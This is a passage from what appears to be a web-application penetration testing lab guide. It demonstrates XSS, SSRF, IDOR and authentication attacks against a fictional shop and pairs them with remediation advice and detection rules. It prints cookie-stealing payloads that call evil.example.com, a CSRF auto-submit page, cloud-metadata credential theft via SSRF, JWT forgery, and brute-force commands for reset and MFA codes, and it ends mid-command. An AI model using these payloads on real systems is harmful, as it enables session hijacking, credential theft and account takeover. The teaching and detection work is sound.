Discover and demonstrate Cross-Site Scripting vulnerabilities across all three variants: reflected, stored, and DOM-based XSS. Show how an attacker could steal session tokens, deface content, and bypass Content Security Policy controls. Provide detection and remediation strategies for each variant.
OWASP Category: A03:2021 — Injection (XSS subcategory) MITRE ATT&CK: T1059.007 (Command and Scripting Interpreter: JavaScript)
3.1 Reflected XSS — Search Functionality¶
Step 1: Identify Reflection Point
Test the product search feature for reflected input.
# Normal search request (SYNTHETIC)
$ curl -s "https://shopstream.example.com/products/search?q=laptop" | grep -o 'Results for:.*</h2>'
Results for: laptop</h2>
The search query is reflected directly into the HTML response without encoding.
# Test with HTML tag (SYNTHETIC)
$ curl -s "https://shopstream.example.com/products/search?q=<b>test</b>" | grep -o 'Results for:.*</h2>'
Results for: <b>test</b></h2>
HTML Injection Confirmed
The <b> tag is rendered without encoding, confirming the application does not sanitize or encode user input before reflecting it into the HTML response.
Step 2: Reflected XSS Proof of Concept
# Reflected XSS payload (SYNTHETIC — educational demonstration only)
# URL: https://shopstream.example.com/products/search?q=<script>alert('XSS')</script>
# Resulting HTML in the page source:
<h2>Results for: <script>alert('XSS')</script></h2>
Burp Suite Repeater request (SYNTHETIC):
GET /products/search?q=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E HTTP/2
Host: shopstream.example.com
Authorization: Bearer eyJ0eXAi...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Cookie: session=eyJ0eXAi...
---
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 15234
<!DOCTYPE html>
<html>
<head><title>Search Results — ShopStream</title></head>
<body>
...
<h2>Results for: <script>alert('XSS')</script></h2>
<p>0 products found.</p>
...
</body>
</html>
3.2 Stored XSS — Product Reviews¶
Step 3: Submit Malicious Review
The product review feature allows HTML in review comments, which is stored in the database and rendered for all users viewing the product page.
# Submit a review with XSS payload (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/reviews \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi..." \
-d '{
"product_id": 42,
"rating": 5,
"title": "Great product!",
"comment": "Loved it! <img src=x onerror=document.location=\"https://evil.example.com/steal?c=\"+document.cookie>"
}' | jq .
{
"status": "success",
"review_id": 8847,
"message": "Review submitted successfully"
}
Step 4: Verify Stored XSS Renders
# View the product page — XSS payload is stored and rendered (SYNTHETIC)
$ curl -s "https://shopstream.example.com/products/42" | grep -A5 'review-8847'
<div class="review" id="review-8847">
<h4>Great product!</h4>
<div class="stars">★★★★★</div>
<p>Loved it! <img src=x onerror=document.location="https://evil.example.com/steal?c="+document.cookie></p>
<span class="reviewer">testuser — 2026-03-22</span>
</div>
Stored XSS Impact
Every user who views product #42 will have the malicious JavaScript execute in their browser. The payload redirects the victim's browser to evil.example.com with their session cookie appended as a query parameter. This enables session hijacking for any user who views the page, including administrators.
Attack flow:
3.3 DOM-Based XSS¶
Step 5: Identify DOM-Based XSS
Examine client-side JavaScript for unsafe DOM manipulation.
// Excerpt from shopstream-app.js (SYNTHETIC)
// Vulnerable code — reads URL hash and writes to DOM without sanitization
function loadProductTab() {
var tab = window.location.hash.substring(1); // Read from URL fragment
document.getElementById('tab-content').innerHTML =
'<h3>' + tab + '</h3>'; // Unsafe innerHTML assignment
loadTabData(tab);
}
window.onhashchange = loadProductTab;
window.onload = loadProductTab;
# DOM-based XSS via URL fragment (SYNTHETIC)
# URL: https://shopstream.example.com/products/42#<img src=x onerror=alert('DOM-XSS')>
# The JavaScript reads the hash value and writes it directly to innerHTML,
# causing the <img> tag's onerror handler to execute.
# Note: This payload never reaches the server — it is entirely client-side.
DOM XSS vs Reflected/Stored
DOM-based XSS is unique because the malicious payload never leaves the browser — the URL fragment (#...) is not sent to the server. This means server-side WAFs cannot detect or block it. Detection requires client-side controls such as Content Security Policy (CSP) or runtime DOM sanitization libraries.
3.4 CSP Bypass Techniques¶
Step 6: Analyze and Bypass CSP
The application has no CSP header deployed (identified in Exercise 1). If a basic CSP were implemented, common bypass techniques include:
# Hypothetical weak CSP (SYNTHETIC)
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com
Bypass via unsafe-inline:
The 'unsafe-inline' directive in script-src allows inline <script> tags, defeating the purpose of CSP against XSS:
<!-- This inline script is allowed by the weak CSP above -->
<script>document.location='https://evil.example.com/steal?c='+document.cookie</script>
Bypass via trusted CDN (SYNTHETIC):
If the CSP trusts a CDN that hosts user-controllable content (e.g., JSONP endpoints, Angular template injection):
<!-- Abuse a JSONP endpoint on a trusted CDN (SYNTHETIC) -->
<script src="https://cdn.example.com/jsonp?callback=alert(1)//"></script>
Strong CSP Recommendations
# Recommended CSP (nonce-based)
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'nonce-{random}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.shopstream.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
'unsafe-inline' or 'unsafe-eval'. 3.5 Cookie Theft Demonstration (Synthetic)¶
Step 7: Simulate Cookie Theft
# Attacker sets up a listener (SYNTHETIC — educational only)
# On attacker-controlled server at evil.example.com:
$ python3 -m http.server 8443 --bind 203.0.113.50
# When a victim views the page with stored XSS, the attacker's server receives:
# GET /steal?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9... HTTP/1.1
# Host: evil.example.com
# Referer: https://shopstream.example.com/products/42
# Attacker replays the stolen session (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/users/me \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.SYNTHETIC_SIGNATURE" | jq .
{
"id": 1,
"username": "admin",
"role": "admin",
"email": "admin@pinnacle-commerce.example.com",
"full_name": "Admin User (SYNTHETIC)"
}
Session Hijacking Achieved
The attacker successfully replayed the stolen admin JWT to authenticate as the administrator. With admin access, the attacker could modify products, access customer PII, change prices, or create new admin accounts.
3.6 Remediation — XSS¶
Remediation Recommendations
- Output encoding — encode all user-controlled output for the appropriate context:
- Input validation — reject or strip HTML tags from inputs that should be plain text
- Content Security Policy — deploy strict nonce-based CSP (see Step 6)
- HttpOnly cookies — set
HttpOnlyflag on session cookies to prevent JavaScript access: - DOM sanitization — use
textContentinstead ofinnerHTML, or use DOMPurify: - X-XSS-Protection — while deprecated, set
X-XSS-Protection: 0to prevent browser-specific issues; rely on CSP instead - Regular automated scanning — integrate XSS detection into CI/CD (e.g., ZAP, Burp CI)
3.7 Detection Opportunities — XSS¶
-- KQL: Detect XSS payloads in URL parameters
W3CIISLog
| where TimeGenerated > ago(1h)
| where csUriQuery matches regex @"(?i)(<script|javascript:|onerror\s*=|onload\s*=|<img\s+src\s*=\s*x|<svg|<iframe|document\.cookie|document\.location)"
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus
| sort by TimeGenerated desc
-- KQL: Detect stored XSS in POST request bodies
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where CsMethod == "POST"
| where RequestBody matches regex @"(?i)(<script|onerror\s*=|onload\s*=|javascript:|<img\s+src=x)"
| project TimeGenerated, CIp, CsUriStem, RequestBody
| sort by TimeGenerated desc
// SPL: Detect XSS patterns in web requests
index=web sourcetype=access_combined
| eval xss_pattern=if(match(uri_query, "(?i)(<script|javascript:|onerror|onload|document\.cookie|<svg|<iframe)"), 1, 0)
| where xss_pattern=1
| stats count by src_ip, uri_path, uri_query, status
| sort -count
// SPL: Detect XSS in POST bodies (requires body logging)
index=web sourcetype=access_combined method=POST
| eval xss_body=if(match(post_data, "(?i)(<script|onerror|onload|javascript:|document\.cookie)"), 1, 0)
| where xss_body=1
| stats count by src_ip, uri_path
| sort -count
WAF Rule — XSS (ModSecurity-style):
# Block common XSS payloads
SecRule ARGS "@rx (?i)(<script[^>]*>|javascript\s*:|on(error|load|click|mouseover)\s*=|<img[^>]+onerror|<svg[^>]+onload|<iframe|document\.(cookie|location|write))" \
"id:100002,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Cross-Site Scripting (XSS) attempt detected',\
tag:'OWASP_CRS/WEB_ATTACK/XSS',\
severity:'CRITICAL'"
Exercise 4: SSRF & IDOR¶
Objective
Exploit Server-Side Request Forgery (SSRF) to access internal services and cloud metadata, and exploit Insecure Direct Object References (IDOR) to access other users' data. Chain these vulnerabilities to escalate privileges and access sensitive infrastructure information.
OWASP Category: A01:2021 — Broken Access Control, A10:2021 — Server-Side Request Forgery MITRE ATT&CK: T1557 (Adversary-in-the-Middle), T1552.005 (Cloud Instance Metadata API)
4.1 SSRF via Image Import Feature¶
Step 1: Identify SSRF Vector
The ShopStream application allows users to import product images by URL. This feature makes server-side HTTP requests to fetch the image.
# Normal image import (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi..." \
-d '{"image_url": "https://images.example.com/product-photo.jpg", "product_id": 42}' | jq .
{
"status": "success",
"message": "Image imported successfully",
"stored_path": "/uploads/products/42/imported_a1b2c3.jpg",
"source_url": "https://images.example.com/product-photo.jpg",
"size_bytes": 245780
}
Step 2: Test for SSRF — Internal Service Access
# SSRF: Request internal service (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi..." \
-d '{"image_url": "http://10.20.2.10:5432/", "product_id": 42}' | jq .
{
"status": "error",
"message": "Failed to import image",
"detail": "Connection to 10.20.2.10:5432 — received non-image response (content-type: text/plain)",
"response_preview": "PostgreSQL 15.4 on x86_64-pc-linux-gnu, compiled by gcc..."
}
SSRF Confirmed
The server-side request reached the internal PostgreSQL server (10.20.2.10:5432) and returned its banner in the error message. The application is making HTTP requests on behalf of the user to arbitrary internal addresses without restriction.
Step 3: SSRF — Access Cloud Metadata (IMDSv1)
# SSRF: Access AWS Instance Metadata Service (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi..." \
-d '{"image_url": "http://169.254.169.254/latest/meta-data/", "product_id": 42}' | jq .
{
"status": "error",
"message": "Failed to import image",
"detail": "Connection to 169.254.169.254 — received non-image response (content-type: text/plain)",
"response_preview": "ami-id\nami-launch-index\nami-manifest-path\nhostname\ninstance-action\ninstance-id\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nnetwork\nplacement\nprofile\npublic-hostname\npublic-ipv4\nreservation-id\nsecurity-groups\niam/"
}
# SSRF: Extract IAM credentials from metadata (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi..." \
-d '{"image_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/shopstream-ec2-role", "product_id": 42}' | jq .
{
"status": "error",
"message": "Failed to import image",
"detail": "Connection to 169.254.169.254 — received non-image response (content-type: text/plain)",
"response_preview": "{\n \"Code\": \"Success\",\n \"LastUpdated\": \"2026-03-22T08:00:00Z\",\n \"Type\": \"AWS-HMAC\",\n \"AccessKeyId\": \"ASIA0000SYNTHETIC01\",\n \"SecretAccessKey\": \"REDACTED\",\n \"Token\": \"SYNTHETIC_SESSION_TOKEN_REDACTED\",\n \"Expiration\": \"2026-03-22T14:00:00Z\"\n}"
}
Critical: Cloud Credential Theft via SSRF
The SSRF vulnerability allowed access to the AWS Instance Metadata Service (IMDS) at 169.254.169.254. The attacker extracted temporary IAM role credentials (ASIA0000SYNTHETIC01) assigned to the EC2 instance running ShopStream. These credentials can be used to access any AWS service the shopstream-ec2-role IAM role is authorized for — potentially S3 buckets, DynamoDB tables, SQS queues, and more.
This is one of the most impactful SSRF exploitation chains in cloud environments and was a key factor in the 2019 Capital One breach.
Step 4: SSRF — Port Scanning Internal Network
# SSRF: Scan internal network for open services (SYNTHETIC)
# Testing common ports on internal subnet
# Redis (port 6379) — OPEN
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi..." \
-d '{"image_url": "http://10.20.2.20:6379/", "product_id": 42}' | jq '.detail'
"Connection to 10.20.2.20:6379 — received non-image response (content-type: text/plain)"
# Internal admin panel (port 8080) — OPEN
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi..." \
-d '{"image_url": "http://10.20.1.10:8080/admin/", "product_id": 42}' | jq '.detail'
"Connection to 10.20.1.10:8080 — received non-image response (content-type: text/html)"
# Non-existent host — CLOSED
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi..." \
-d '{"image_url": "http://10.20.3.99:80/", "product_id": 42}' | jq '.detail'
"Connection to 10.20.3.99:80 — connection timed out"
4.2 Insecure Direct Object Reference (IDOR)¶
Step 5: IDOR in Order API
Test whether the order API enforces authorization — can user testuser (ID 1001) access orders belonging to other users?
# Retrieve own order (SYNTHETIC — authorized)
$ curl -s https://shopstream.example.com/api/v2/orders/5001 \
-H "Authorization: Bearer eyJ0eXAi_testuser_token..." | jq .
{
"order_id": 5001,
"user_id": 1001,
"status": "delivered",
"total": 149.99,
"items": [
{"product_id": 42, "name": "Wireless Headphones", "quantity": 1, "price": 149.99}
],
"shipping_address": {
"name": "Test User",
"street": "123 Test Street",
"city": "Testville",
"state": "TS",
"zip": "00000"
},
"created_at": "2026-03-15T10:30:00Z"
}
# IDOR: Access another user's order (SYNTHETIC — unauthorized)
$ curl -s https://shopstream.example.com/api/v2/orders/5002 \
-H "Authorization: Bearer eyJ0eXAi_testuser_token..." | jq .
{
"order_id": 5002,
"user_id": 1002,
"status": "shipped",
"total": 299.50,
"items": [
{"product_id": 78, "name": "Smart Watch", "quantity": 1, "price": 199.50},
{"product_id": 112, "name": "Watch Band", "quantity": 2, "price": 50.00}
],
"shipping_address": {
"name": "Jane Doe (SYNTHETIC)",
"street": "456 Synthetic Avenue",
"city": "Fictional City",
"state": "FC",
"zip": "99999"
},
"created_at": "2026-03-16T14:22:00Z"
}
IDOR Confirmed — PII Exposure
User testuser (ID 1001) was able to access order #5002 belonging to jane_doe (ID 1002). The API does not verify that the authenticated user owns the requested order. This exposes personally identifiable information (PII) including names, addresses, and purchase history for all customers.
Step 6: IDOR in User Profile API
# IDOR: Access another user's profile (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/users/1 \
-H "Authorization: Bearer eyJ0eXAi_testuser_token..." | jq .
{
"id": 1,
"username": "admin",
"email": "admin@pinnacle-commerce.example.com",
"full_name": "Admin User (SYNTHETIC)",
"role": "admin",
"phone": "+1-555-0100 (SYNTHETIC)",
"created_at": "2025-01-15T09:00:00Z",
"last_login": "2026-03-22T07:45:00Z",
"mfa_enabled": true
}
Step 7: Privilege Escalation via Parameter Tampering
# Attempt to modify own profile to escalate role (SYNTHETIC)
$ curl -s -X PUT https://shopstream.example.com/api/v2/users/1001 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi_testuser_token..." \
-d '{"full_name": "Test User", "role": "admin"}' | jq .
{
"status": "success",
"message": "Profile updated successfully",
"user": {
"id": 1001,
"username": "testuser",
"role": "admin",
"full_name": "Test User"
}
}
Privilege Escalation via Mass Assignment
The API accepted the role field in the PUT request body and updated the user's role from customer to admin. This is a mass assignment vulnerability — the API binds all incoming JSON fields to the user model without checking which fields are allowed to be modified by the user. The role field should be excluded from user-controllable input.
4.3 Remediation — SSRF & IDOR¶
Remediation Recommendations
SSRF:
- Allowlist outbound URLs — only permit requests to known-good external domains for image import
- Block private/reserved IP ranges in the URL parser:
- Enforce IMDSv2 — require token-based metadata access, which prevents simple GET-based SSRF:
- Validate Content-Type — reject non-image responses before returning error details
- Never return raw response content in error messages
IDOR:
- Implement object-level authorization — verify the authenticated user owns or is authorized to access the requested resource:
- Use UUIDs instead of sequential integers for resource identifiers to reduce enumeration risk
- Implement field-level allowlists for profile updates (mass assignment protection):
- Log and alert on cross-user data access attempts
4.4 Detection Opportunities — SSRF & IDOR¶
-- KQL: Detect SSRF attempts targeting internal IPs
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where CsUriStem has "upload/image" or CsUriStem has "import"
| where RequestBody matches regex @"(10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+\.\d+|192\.168\.\d+\.\d+|169\.254\.\d+\.\d+|127\.0\.0\.\d+)"
| project TimeGenerated, CIp, CsUriStem, RequestBody
| sort by TimeGenerated desc
-- KQL: Detect cloud metadata access via SSRF
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where RequestBody has "169.254.169.254" or RequestBody has "metadata.google.internal"
| project TimeGenerated, CIp, CsUriStem, RequestBody
| sort by TimeGenerated desc
-- KQL: Detect IDOR — user accessing resources belonging to other users
AppTraces
| where TimeGenerated > ago(1h)
| where Message has "order accessed" or Message has "user profile accessed"
| extend RequestedUserId = extract("user_id=(\\d+)", 1, Message)
| extend AuthenticatedUserId = extract("auth_user=(\\d+)", 1, Message)
| where RequestedUserId != AuthenticatedUserId
| project TimeGenerated, AuthenticatedUserId, RequestedUserId, Message
| sort by TimeGenerated desc
// SPL: Detect SSRF attempts to internal networks
index=web sourcetype=access_combined method=POST
(uri_path="*/upload/image*" OR uri_path="*/import*")
| eval ssrf_attempt=if(match(post_data, "(10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+|192\.168\.\d+|169\.254\.\d+|127\.0\.0\.)"), 1, 0)
| where ssrf_attempt=1
| stats count by src_ip, uri_path
| sort -count
// SPL: Detect IDOR — sequential ID enumeration
index=web sourcetype=access_combined
(uri_path="/api/v2/orders/*" OR uri_path="/api/v2/users/*")
| rex field=uri_path "/(?:orders|users)/(?<resource_id>\d+)"
| bin _time span=5m
| stats dc(resource_id) as unique_ids count by src_ip, _time
| where unique_ids > 20
| sort -unique_ids
WAF Rule — SSRF Prevention (ModSecurity-style):
# Block SSRF attempts targeting internal/reserved IPs
SecRule ARGS "@rx (?:https?://)?(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|0\.0\.0\.0|localhost)" \
"id:100003,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SSRF attempt — internal/reserved IP in request parameter',\
tag:'OWASP_CRS/WEB_ATTACK/SSRF',\
severity:'CRITICAL'"
Exercise 5: Authentication & Session Attacks¶
Objective
Attack the ShopStream authentication and session management mechanisms. Demonstrate JWT manipulation (none algorithm attack, key confusion), session fixation, CSRF exploitation, password reset flow abuse, and MFA bypass techniques. Show how weak authentication controls can lead to full account takeover.
OWASP Category: A07:2021 — Identification and Authentication Failures, A01:2021 — Broken Access Control MITRE ATT&CK: T1078 (Valid Accounts), T1539 (Steal Web Session Cookie), T1556 (Modify Authentication Process)
5.1 JWT Analysis¶
Step 1: Decode the JWT
# Decode JWT header and payload (SYNTHETIC)
$ echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE" \
| cut -d. -f1 | base64 -d 2>/dev/null
{"typ":"JWT","alg":"HS256"}
$ echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE" \
| cut -d. -f2 | base64 -d 2>/dev/null
{"user_id":1001,"username":"testuser","role":"customer","exp":1711150000}
JWT Structure Analysis
| Field | Value | Notes |
|---|---|---|
typ | JWT | Standard JWT type |
alg | HS256 | HMAC-SHA256 — symmetric key signing |
user_id | 1001 | User identifier — used for authorization |
username | testuser | Username embedded in token |
role | customer | Role stored in JWT — potential manipulation target |
exp | 1711150000 | Expiration timestamp (1 hour from issuance) |
Key observations: The JWT uses HS256 (symmetric key), stores the user role in the payload, and has a 1-hour expiration. The role in the JWT determines authorization — if the JWT can be forged, the attacker controls their own role.
5.2 JWT "none" Algorithm Attack¶
Step 2: Forge JWT with 'none' Algorithm
The "none" algorithm attack exploits servers that accept unsigned JWTs. The attacker modifies the header to use "alg":"none" and removes the signature.
# Using jwt_tool (SYNTHETIC)
$ python3 jwt_tool.py \
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE" \
-X a
\ \ \ \ \
\__ | | \ \ | |
| | | | |
\ | \ | / | |
\ | | | | | | | |
\_|_|__|_|_|_|____|_|
jwt_tool v2.2.7
[1] Tampered JWT - alg: none
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.
[2] Tampered JWT - alg: None
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.
[3] Tampered JWT - alg: NONE
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.
# Forge admin JWT with 'none' algorithm and modified role (SYNTHETIC)
# Header: {"typ":"JWT","alg":"none"}
# Payload: {"user_id":1,"username":"admin","role":"admin","exp":9999999999}
# Signature: (empty)
$ FORGED_JWT="eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ."
$ curl -s https://shopstream.example.com/api/v2/admin/users \
-H "Authorization: Bearer $FORGED_JWT" | jq '.users | length'
5
JWT 'none' Algorithm Accepted
The server accepted the JWT with "alg":"none" and an empty signature. The attacker forged a token with "role":"admin" and "user_id":1, gaining full admin access without knowing the signing key. This occurs when the JWT library's verification function does not enforce the expected algorithm.
5.3 JWT Key Confusion (Algorithm Switching)¶
Step 3: RS256 to HS256 Algorithm Confusion
If the server was configured to verify JWTs with an RSA public key (RS256) but the JWT library also accepts HS256, the attacker can sign a token using the public key as the HMAC secret.
# Download the server's public key (SYNTHETIC — often exposed at JWKS endpoint)
$ curl -s https://shopstream.example.com/.well-known/jwks.json | jq .
{
"keys": [
{
"kty": "RSA",
"kid": "shopstream-signing-key-1",
"use": "sig",
"n": "SYNTHETIC_RSA_MODULUS_REDACTED",
"e": "AQAB"
}
]
}
# Convert JWK to PEM format (SYNTHETIC)
# Then sign a forged JWT using the public key as HMAC secret
$ python3 jwt_tool.py \
"$ORIGINAL_JWT" \
-X k \
-pk public_key.pem \
-I -pc role -pv admin \
-I -pc user_id -pv 1
[+] Tampered JWT (HS256 signed with RSA public key):
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.FORGED_HMAC_SIGNATURE
Why This Works
The server uses the RSA public key for verification. When the attacker switches alg to HS256, vulnerable JWT libraries use the same public key as the HMAC symmetric key. Since the public key is... public, the attacker knows it and can produce valid HMAC signatures.
5.4 Session Fixation¶
Step 4: Session Fixation Attack
Test whether the application generates a new session token upon login or reuses a pre-authentication token.
# Step A: Obtain a pre-authentication session cookie (SYNTHETIC)
$ curl -sI https://shopstream.example.com/account/login | grep set-cookie
set-cookie: session_id=PRE_AUTH_SESSION_abc123; Path=/; HttpOnly; Secure
# Step B: Authenticate with the pre-auth cookie (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
-H "Content-Type: application/json" \
-H "Cookie: session_id=PRE_AUTH_SESSION_abc123" \
-d '{"username":"testuser","password":"REDACTED"}' | jq .
{
"status": "success",
"token": "eyJ0eXAiOiJKV1Qi..."
}
# Step C: Check if the session ID changed after login
$ curl -sI https://shopstream.example.com/api/v2/users/me \
-H "Cookie: session_id=PRE_AUTH_SESSION_abc123" \
-H "Authorization: Bearer eyJ0eXAiOiJKV1Qi..." | grep set-cookie
# NO new Set-Cookie header — session_id was NOT regenerated
Session Fixation Vulnerability
The application does not regenerate the session ID upon successful authentication. An attacker who can set a victim's session cookie (e.g., via XSS, subdomain cookie injection, or a network position) can wait for the victim to log in, then reuse the known session ID to hijack the authenticated session.
Attack flow:
5.5 Cross-Site Request Forgery (CSRF)¶
Step 5: CSRF Exploitation
Test whether state-changing operations require CSRF tokens or verify the Origin/Referer headers.
# Check if the password change endpoint requires CSRF token (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/users/me/change-password \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAi_testuser_token..." \
-H "Origin: https://evil.example.com" \
-d '{"current_password":"REDACTED","new_password":"REDACTED_NEW"}' | jq .
{
"status": "success",
"message": "Password changed successfully"
}
CSRF Not Enforced
The password change endpoint accepted a request with Origin: https://evil.example.com without requiring a CSRF token. An attacker can host a malicious page that submits this request when a logged-in user visits it.
CSRF Exploitation Page (SYNTHETIC — educational only):
<!-- Hosted on evil.example.com — SYNTHETIC, do not deploy -->
<!DOCTYPE html>
<html>
<head><title>Win a Prize!</title></head>
<body>
<h1>Congratulations! Click to claim your prize!</h1>
<form id="csrf-form"
action="https://shopstream.example.com/api/v2/users/me/change-email"
method="POST"
enctype="text/plain">
<input type="hidden" name='{"email":"attacker@evil.example.com","padding":"' value='"}' />
</form>
<script>
// Auto-submit on page load
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
5.6 Password Reset Flow Abuse¶
Step 6: Analyze Password Reset Mechanism
# Request password reset (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/reset-password \
-H "Content-Type: application/json" \
-d '{"email":"admin@pinnacle-commerce.example.com"}' | jq .
{
"status": "success",
"message": "If an account exists with that email, a reset link has been sent."
}
# The reset token is a 6-digit numeric code (SYNTHETIC)
# Brute-force the reset code (SYNTHETIC — 000000 to 999999)
$ ffuf -u "https://shopstream.example.com/api/v2/auth/reset-password/verify" \
-X POST \
-H "Content-Type: application/json" \
-d '{"email":"admin@pinnacle-commerce.example.com","code":"FUZZ"}' \
-w /usr/share/wordlists/numeric-6digit.txt \
-mc 200 \
-fr "Invalid code" \
-t 50
# After ~45,000 attempts (SYNTHETIC):
847291 [Status: 200, Size: 234, Words: 12]
# Use the brute-forced reset code to change the admin password (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/reset-password/confirm \
-H "Content-Type: application/json" \
-d '{"email":"admin@pinnacle-commerce.example.com","code":"847291","new_password":"REDACTED_ATTACKER"}' | jq .
{
"status": "success",
"message": "Password has been reset successfully"
}
Weak Reset Token — Account Takeover
The password reset mechanism uses a 6-digit numeric code with no rate limiting, no account lockout, and no expiration enforcement. An attacker can brute-force all 1,000,000 possible codes in a short time. This results in full account takeover for any user, including administrators.
5.7 MFA Bypass Techniques¶
Step 7: MFA Bypass via Direct API Access
# Normal login with MFA (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"REDACTED"}' | jq .
{
"status": "mfa_required",
"mfa_token": "temp_mfa_eyJ0eXAi...",
"message": "Please provide your MFA code"
}
# MFA verification endpoint
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/mfa/verify \
-H "Content-Type: application/json" \
-d '{"mfa_token":"temp_mfa_eyJ0eXAi...","code":"123456"}' | jq .
{
"status": "success",
"token": "eyJ0eXAiOiJKV1Qi_full_admin_token..."
}
# MFA Bypass #1: The temporary MFA token grants partial access (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/users/me \
-H "Authorization: Bearer temp_mfa_eyJ0eXAi..." | jq .
{
"id": 1,
"username": "admin",
"role": "admin",
"email": "admin@pinnacle-commerce.example.com",
"mfa_enabled": true
}
MFA Bypass — Partial Token Grants Full Access
The temporary MFA token (issued after password verification but before MFA completion) is accepted by API endpoints that should require full authentication. The server does not distinguish between pre-MFA and post-MFA tokens for authorization purposes. An attacker who compromises the password can bypass MFA entirely by using the temporary token.
# MFA Bypass #2: Brute-force TOTP code — no rate limiting (SYNTHETIC)
$ for code in $(seq -w 000000 999999); do
response=$(curl -s -X POST https://shopstream.example.com/api/v2/auth/mfa/verify \
-H "Content-Type: application/json" \
